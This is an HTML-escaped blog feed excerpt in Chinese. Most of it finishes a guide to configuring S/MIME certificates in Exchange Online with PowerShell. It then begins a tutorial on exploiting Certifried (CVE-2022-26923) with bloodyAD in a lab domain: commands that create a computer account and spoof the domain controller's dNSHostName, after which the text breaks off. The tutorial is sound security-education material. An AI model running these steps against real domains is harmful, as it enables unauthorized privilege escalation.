srcset="https://cravaterouge.com/media/smime/cert_install2_hu_ce9ece7a4a392a95.webp 320w, https://cravaterouge.com/media/smime/cert_install2_hu_212ce834b4c340d0.webp 480w, https://cravaterouge.com/media/smime/cert_install2_hu_98033f8812af5669.webp 577w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install2_hu_ce9ece7a4a392a95.webp"
width="577"
height="557"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard pwd"
srcset="https://cravaterouge.com/media/smime/cert_install3_hu_6d82d34f74a7aa32.webp 320w, https://cravaterouge.com/media/smime/cert_install3_hu_15d42a230b465af6.webp 480w, https://cravaterouge.com/media/smime/cert_install3_hu_4b36de240a8f232f.webp 616w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install3_hu_6d82d34f74a7aa32.webp"
width="616"
height="568"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard auto"
srcset="https://cravaterouge.com/media/smime/cert_install4_hu_7cd9d33d4cde9973.webp 320w, https://cravaterouge.com/media/smime/cert_install4_hu_6b7e25c6a4339bb5.webp 480w, https://cravaterouge.com/media/smime/cert_install4_hu_bd35208ec93e51ba.webp 608w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install4_hu_7cd9d33d4cde9973.webp"
width="608"
height="581"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install5_hu_e72b075f78aeeba4.webp 320w, https://cravaterouge.com/media/smime/cert_install5_hu_add09a33b0e48160.webp 480w, https://cravaterouge.com/media/smime/cert_install5_hu_56eb4c64a1462332.webp 637w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install5_hu_e72b075f78aeeba4.webp"
width="637"
height="587"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;安装完成后，从Windows搜索栏打开&lt;code&gt;Manage User Certificate&lt;/code&gt;工具：
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="certmgr"
srcset="https://cravaterouge.com/media/smime/cert_install6_hu_bcadf14d0a089bd9.webp 320w, https://cravaterouge.com/media/smime/cert_install6_hu_a5a3c6ea1ed0c7cc.webp 480w, https://cravaterouge.com/media/smime/cert_install6_hu_ead8d01a30076b4.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install6_hu_bcadf14d0a089bd9.webp"
width="760"
height="704"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;转到证书安装的文件夹，应该是&lt;code&gt;Personal &amp;gt; Certificates&lt;/code&gt;：
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="cert store"
srcset="https://cravaterouge.com/media/smime/cert_install7_hu_29e67d7d5851227f.webp 320w, https://cravaterouge.com/media/smime/cert_install7_hu_c431dbd90395b26b.webp 480w, https://cravaterouge.com/media/smime/cert_install7_hu_aae59f832191d883.webp 690w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install7_hu_29e67d7d5851227f.webp"
width="690"
height="523"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;右键点击您的证书，选择&lt;code&gt;All Tasks &amp;gt; Export&lt;/code&gt;：
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export cert"
srcset="https://cravaterouge.com/media/smime/cert_install8_hu_e183e961a70d9cd2.webp 320w, https://cravaterouge.com/media/smime/cert_install8_hu_e7855c09ae4e14bf.webp 480w, https://cravaterouge.com/media/smime/cert_install8_hu_8cb17e51a24346ed.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install8_hu_e183e961a70d9cd2.webp"
width="760"
height="463"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;按照向导操作，将证书保存为&lt;code&gt;.der&lt;/code&gt;格式，稍后需要将公钥上传到Exchange Online。
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard"
srcset="https://cravaterouge.com/media/smime/cert_install9_hu_974def6746fb9fed.webp 320w, https://cravaterouge.com/media/smime/cert_install9_hu_8c6c28516ef273e3.webp 480w, https://cravaterouge.com/media/smime/cert_install9_hu_fa4cdbfe47c48db5.webp 751w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install9_hu_974def6746fb9fed.webp"
width="751"
height="642"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard no key"
srcset="https://cravaterouge.com/media/smime/cert_install10_hu_8dfbbdfd9d75fcc7.webp 320w, https://cravaterouge.com/media/smime/cert_install10_hu_397c894c63c9ea12.webp 480w, https://cravaterouge.com/media/smime/cert_install10_hu_21b8f818bf151cf2.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install10_hu_8dfbbdfd9d75fcc7.webp"
width="760"
height="569"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard der"
srcset="https://cravaterouge.com/media/smime/cert_install11_hu_d130704ddd04e0c0.webp 320w, https://cravaterouge.com/media/smime/cert_install11_hu_e8f8f2e62a6bc859.webp 480w, https://cravaterouge.com/media/smime/cert_install11_hu_ecf9440dd67b1986.webp 752w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install11_hu_d130704ddd04e0c0.webp"
width="752"
height="612"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard location"
srcset="https://cravaterouge.com/media/smime/cert_install12_hu_b45aea6be43aeaa5.webp 320w, https://cravaterouge.com/media/smime/cert_install12_hu_56854167be90c420.webp 480w, https://cravaterouge.com/media/smime/cert_install12_hu_e4049d4a50b4be64.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install12_hu_b45aea6be43aeaa5.webp"
width="760"
height="595"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="export wizard finish"
srcset="https://cravaterouge.com/media/smime/cert_install13_hu_d8bfaa114ff9edb7.webp 320w, https://cravaterouge.com/media/smime/cert_install13_hu_ce71da26883719c0.webp 480w, https://cravaterouge.com/media/smime/cert_install13_hu_2cd32ee484eb189a.webp 758w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/cert_install13_hu_d8bfaa114ff9edb7.webp"
width="758"
height="600"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="将信任链上传到exchange-online"&gt;将信任链上传到Exchange Online&lt;/h2&gt;
&lt;p&gt;与Windows不同，Exchange Online没有预装的证书颁发机构。您需要将每个可以验证最终用户和联系人证书的证书颁发机构推送到Exchange Online。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;再次打开&lt;code&gt;usercrtmngr&lt;/code&gt;，双击最终用户证书&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;Certification Path&lt;/code&gt;选项卡中，您将看到验证最终用户证书的所有证书，这称为信任链&lt;/li&gt;
&lt;li&gt;确保所有这些证书在同一个文件夹中，或者将不在当前文件夹中的证书复制到当前文件夹，以便稍后打包&lt;/li&gt;
&lt;li&gt;对所有最终用户和联系人重复上述步骤&lt;/li&gt;
&lt;li&gt;使用&lt;code&gt;ctrl+左键点击&lt;/code&gt;选择信任链中的每个证书（如果信任链中只有一个证书，请再包含另一个证书，以便能够将列表导出为&lt;code&gt;.sst&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;右键点击选中的一个证书，选择&lt;code&gt;All Tasks &amp;gt; Export&lt;/code&gt;，按照向导操作并选择&lt;code&gt;.sst&lt;/code&gt;格式&lt;/li&gt;
&lt;li&gt;使用Powershell 7（低于7会出现错误&lt;code&gt;unable to find type [uint]&lt;/code&gt;）：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Install-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Import-Module&lt;/span&gt; &lt;span class="n"&gt;ExchangeOnlineManagement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Connect-ExchangeOnline&lt;/span&gt; &lt;span class="n"&gt;-UserPrincipalName&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;exchangeadmin_for_yourdomain&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-SmimeConfig&lt;/span&gt; &lt;span class="n"&gt;-SMIMECertificateIssuingCA&lt;/span&gt; &lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="no"&gt;System.IO.File&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;ReadAllBytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;C:\Users\Gold\Downloads\chainOfTrust.sst&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="8"&gt;
&lt;li&gt;等待一段时间以便修改传播&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;太好了！我们现在已经可以在OWA中签名和解密邮件了，那么如何加密或验证邮件签名呢？&lt;/p&gt;
&lt;h2 id="在exchange-online上安装公钥"&gt;在Exchange Online上安装公钥&lt;/h2&gt;
&lt;p&gt;这一部分文档不多，尤其是为Exchange Online外部联系人添加公钥的用例，我没有找到相关文档，但它确实可行！那么让我们开始吧。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;收集您的联系人公钥，格式为DERv3（如&lt;a href="#install-your-smime-certificate"&gt;安装您的S/MIME证书&lt;/a&gt;第5步所述）&lt;/li&gt;
&lt;li&gt;使用以下Powershell代码将每个DERv3打包为&lt;code&gt;.sst&lt;/code&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Collections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ArrayList&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$cert&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;New-Object&lt;/span&gt; &lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Security&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Cryptography&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificates&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;X509Certificate2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;D:\Gold\Documents\VM-apps\baptiste@cravaterouge.com.cer&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;&amp;lt;-&lt;/span&gt; &lt;span class="n"&gt;DERv3格式&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$certArray&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;Insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$cert&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;GetRawCertData&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="3"&gt;
&lt;li&gt;如果联系人属于同一个Exchange Online，使用以下Powershell命令：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-Mailbox&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="4"&gt;
&lt;li&gt;如果联系人是此Exchange Online外部的，使用以下命令：&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 如果联系人尚未创建，请使用此命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;New-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Name&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-ExternalEmailAddress&lt;/span&gt; &lt;span class="n"&gt;baptiste&lt;/span&gt;&lt;span class="nv"&gt;@cravaterouge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;com&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;Set-MailContact&lt;/span&gt; &lt;span class="n"&gt;-Identity&lt;/span&gt; &lt;span class="n"&gt;CravateRouge_SMIME&lt;/span&gt; &lt;span class="n"&gt;-UserCertificate&lt;/span&gt; &lt;span class="nv"&gt;$certArray&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol start="5"&gt;
&lt;li&gt;确保证书已正确更新，通过验证&lt;code&gt;Get-Mailbox/Get-MailContact -Identity CravateRouge | select UserCertificate&lt;/code&gt;返回的二进制数据与&lt;code&gt;$cert.GetRawCertData()&lt;/code&gt;相同&lt;/li&gt;
&lt;li&gt;要向这些联系人发送邮件，您必须从GAL联系人中选择它们，并使用您在上述Powershell命令中指定的确切标识名称。例如，要向__Baptiste__发送邮件，我必须使用名为__CravateRouge_SMIME__的联系人，而不是直接输入__baptiste@cravaterouge.com__或使用其他联系人卡片，即使它具有相同的电子邮件地址。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="结果"&gt;结果&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;您现在可以签署每封邮件，以向收件人证明您是原始发送者，并解密发送给您的邮件
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="sign everything"
srcset="https://cravaterouge.com/media/smime/sign_everything_hu_aa3246c2201d2766.webp 320w, https://cravaterouge.com/media/smime/sign_everything_hu_6b12d6db0cc8de5e.webp 480w, https://cravaterouge.com/media/smime/sign_everything_hu_1d5c8bad6af49d9b.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/sign_everything_hu_aa3246c2201d2766.webp"
width="760"
height="509"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;您还可以加密/验证您添加到Exchange Online的联系人的邮件
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encrypt selected"
srcset="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_256f944f9d26c2c0.webp 320w, https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_9e860bc061ac8361.webp 423w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/encrypt_whitelisted_hu_256f944f9d26c2c0.webp"
width="423"
height="470"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="flex px-4 py-3 mb-6 rounded-md bg-primary-100 dark:bg-primary-900"&gt;
&lt;span class="pr-3 pt-1 text-primary-600 dark:text-primary-300"&gt;
&lt;svg height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"&gt;&lt;path fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.5" d="m11.25 11.25l.041-.02a.75.75 0 0 1 1.063.852l-.708 2.836a.75.75 0 0 0 1.063.853l.041-.021M21 12a9 9 0 1 1-18 0a9 9 0 0 1 18 0m-9-3.75h.008v.008H12z"/&gt;&lt;/svg&gt;
&lt;/span&gt;
&lt;span class="dark:text-neutral-300"&gt;即使一切正常，您在向外部客户端发送加密邮件时可能仍会收到错误消息。别担心，这只是微软的一个bug，因为此功能尚未完全支持。
&lt;figure &gt;
&lt;div class="flex justify-center "&gt;
&lt;div class="w-full" &gt;
&lt;img alt="encryption error"
srcset="https://cravaterouge.com/media/smime/error_encrypted_hu_82c18486f97d995f.webp 320w, https://cravaterouge.com/media/smime/error_encrypted_hu_7c4bf61691b7eb04.webp 480w, https://cravaterouge.com/media/smime/error_encrypted_hu_35d3faa6adbcd849.webp 760w"
sizes="(max-width: 480px) 100vw, (max-width: 768px) 90vw, (max-width: 1024px) 80vw, 760px"
src="https://cravaterouge.com/media/smime/error_encrypted_hu_82c18486f97d995f.webp"
width="760"
height="228"
loading="lazy" data-zoomable /&gt;&lt;/div&gt;
&lt;/div&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/div&gt;</description></item><item><title>利用 Certifried (CVE-2022-26923)</title><link>https://cravaterouge.com/zh/articles/ad-certifried/</link><pubDate>Sat, 11 May 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/zh/articles/ad-certifried/</guid><description>&lt;p&gt;最近，微软修复了 Certifried (CVE-2022-26923) 漏洞，并发布了这篇&lt;a href="https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4" target="_blank" rel="noopener"&gt;博客文章&lt;/a&gt;。以下是如何使用 &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; 在不使用 PKINIT 的情况下利用此漏洞的示例。&lt;/p&gt;
&lt;h2 id="linux"&gt;Linux&lt;/h2&gt;
&lt;p&gt;我们需要一台机器，可以是已被攻陷的机器，也可以在 &lt;code&gt;ms-DS-MachineAccountQuota&lt;/code&gt; &amp;gt; 0 的情况下创建一台：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="nb"&gt;ms-DS&lt;/span&gt;&lt;span class="n"&gt;-MachineAccountQuota&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;ms-DS&lt;/span&gt;&lt;span class="n"&gt;-MachineAccountQuota:&lt;/span&gt; &lt;span class="mf"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;我们在 LDAP 中创建一个名为 &lt;code&gt;cve&lt;/code&gt; 的计算机对象：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;addComputer&lt;/span&gt; &lt;span class="n"&gt;cve&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CVEPassword1234*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;cve&lt;/span&gt; &lt;span class="n"&gt;created&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后，我们更改 &lt;code&gt;dNSHostName&lt;/code&gt; 属性（创建对象时为空），使其与域控制器的计算机名称匹配：&lt;code&gt;CRASHDC.crashlab.local&lt;/code&gt;。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;&lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=cve,CN=Computers,DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;dNSHostName&lt;/span&gt; &lt;span class="n"&gt;-v&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
